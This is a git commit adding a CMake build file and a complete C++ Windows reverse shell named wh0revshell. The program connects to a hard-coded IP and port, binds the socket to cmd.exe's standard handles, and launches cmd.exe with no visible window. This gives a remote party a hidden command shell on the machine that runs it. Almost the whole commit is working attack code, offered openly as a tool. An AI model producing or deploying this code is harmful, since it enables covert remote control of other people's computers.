feat: add first working revshell

This commit is contained in:
2026-06-25 17:24:05 +01:00
parent def7c788f4
commit 0a9a2e6a35
2 changed files with 118 additions and 0 deletions
+15
View File
@@ -0,0 +1,15 @@
cmake_minimum_required(VERSION 3.15)
project(wh0revshell CXX)
set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
add_executable(wh0revshell "src/wh0revshell.cpp")
# Explicitly link Windows socket library
target_link_libraries(wh0revshell PRIVATE ws2_32)
# Force Static Linking
if(MSVC)
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
endif()
+103
View File
@@ -0,0 +1,103 @@
#define WIN32_LEAN_AND_MEAN
#include <cstdlib>
#include <iostream>
#include <stdexcept>
#include <string_view>
#include <winsock2.h>
#include <ws2tcpip.h>
constexpr std::wstring_view CLIENT_IP = L"192.168.1.20";
constexpr int CLIENT_PORT = 9999;
int main()
{
WSADATA wsaData;
bool wsaStarted = false;
SOCKET socketFd = INVALID_SOCKET;
HANDLE processHandle = nullptr;
HANDLE threadHandle = nullptr;
int exitCode = EXIT_FAILURE;
try
{
if (WSAStartup(0x0202, &wsaData) != 0)
{
std::wcerr << L"[!] WSAStartup failed.\n";
goto CLEANUP;
}
wsaStarted = true;
socketFd = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, nullptr, 0, 0);
if (socketFd == INVALID_SOCKET)
{
std::wcerr << L"[!] Failed to create socket: " << WSAGetLastError() << L"\n";
goto CLEANUP;
}
struct sockaddr_in sa{.sin_family = AF_INET, .sin_port = htons(CLIENT_PORT)};
int result = InetPtonW(AF_INET, CLIENT_IP.data(), &sa.sin_addr);
if (result == 0)
{
std::wcerr << L"[!] IP is invalid or has bad format.\n";
goto CLEANUP;
}
else if (result == -1)
{
std::wcerr << L"[!] InetPtonW failed: " << WSAGetLastError() << L"\n";
goto CLEANUP;
}
if (connect(socketFd, reinterpret_cast<struct sockaddr *>(&sa), sizeof(sa)) != 0)
{
std::wcerr << L"[!] Connect failed.\n";
goto CLEANUP;
}
STARTUPINFOW startupInfo{};
PROCESS_INFORMATION processInfo{};
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = reinterpret_cast<HANDLE>(socketFd);
startupInfo.hStdOutput = reinterpret_cast<HANDLE>(socketFd);
startupInfo.hStdError = reinterpret_cast<HANDLE>(socketFd);
wchar_t cmd[] = L"cmd.exe";
bool success = CreateProcessW(
nullptr,
cmd,
nullptr,
nullptr,
TRUE,
CREATE_NO_WINDOW,
nullptr,
nullptr,
&startupInfo,
&processInfo
);
if (!success)
{
std::wcerr << L"Failed to execute process.\n";
goto CLEANUP;
}
processHandle = processInfo.hProcess;
threadHandle = processInfo.hThread;
exitCode = EXIT_SUCCESS;
}
catch (const std::runtime_error &e)
{
std::cerr << e.what() << std::endl;
exitCode = EXIT_FAILURE;
}
CLEANUP:
if (processHandle != nullptr) CloseHandle(processHandle);
if (threadHandle != nullptr) CloseHandle(threadHandle);
if (socketFd != INVALID_SOCKET) closesocket(socketFd);
if (wsaStarted) WSACleanup();
return exitCode;
}